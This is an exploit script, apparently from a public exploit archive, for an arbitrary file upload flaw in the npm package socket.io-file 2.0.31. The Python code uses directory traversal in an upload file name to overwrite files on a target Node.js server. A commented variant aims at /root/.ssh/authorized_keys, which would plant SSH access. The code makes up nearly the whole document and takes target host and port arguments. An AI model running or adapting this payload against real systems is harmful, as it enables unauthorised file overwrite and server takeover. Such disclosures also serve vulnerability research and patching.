Socket.io-file 2.0.31 Arbitrary File Upload

`# Exploit Title: Socket.io-file 2.0.31 - Arbitrary File Upload  
# Date: 2020-07-02  
# Exploit Author: Cr0wTom  
# Vendor Homepage: https://www.npmjs.com/package/socket.io-file  
# Software Link: https://www.npmjs.com/package/socket.io-file/v/2.0.31  
# Version: <= v2.0.31  
# Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0  
# CVE: -  
  
# Requirements: pip install socketIO-client-nexus==0.7.6  
  
#!/usr/bin/env python  
  
import sys  
import json  
import os  
from socketIO_client_nexus import SocketIO, LoggingNamespace  
  
def file_creation(RHOST, RPORT):  
print ('Initiating connection...')  
with SocketIO(RHOST, RPORT, LoggingNamespace) as socketIO:  
  
print ('Creating file...')  
  
# Example server running in /home/testuser/Documents/socket-app so customize the path appropriately   
# Change the "name" option if you want to create an other file in an different path of the system  
socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../client/index.html","size":1,"chunkSize":10240,"sent":0,"data":{}})  
  
# Example for server running with root access:  
# socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../../../../../root/.ssh/authorized_keys","size":1,"chunkSize":10240,"sent":0,"data":{}})  
  
print ('Writing data to file...')  
  
# Add the data you want to get written to the file  
data = "Exploited by Cr0wTom"  
json_string = json.dumps(data)  
socketIO.once("socket.io-file::request::u_0", on_aaa_response)  
socketIO.emit("socket.io-file::stream::u_0", json_string)  
  
def on_aaa_response(*args):  
print('on_aaa_response', args)  
  
def print_usage():  
print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')  
print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')  
print ('Usage: python3 exploit.py <RHOST> <RPORT>')  
print ('RHOST The target host IP address or domain.')  
print ('RPORT The target host port number of the nodejs server.')  
  
if __name__ == '__main__':  
  
# ensure we have at least an IP and Port  
if len(sys.argv) < 3:  
print_usage()  
sys.exit(1)  
  
print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')  
print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')  
file_creation(sys.argv[1], sys.argv[2])  
`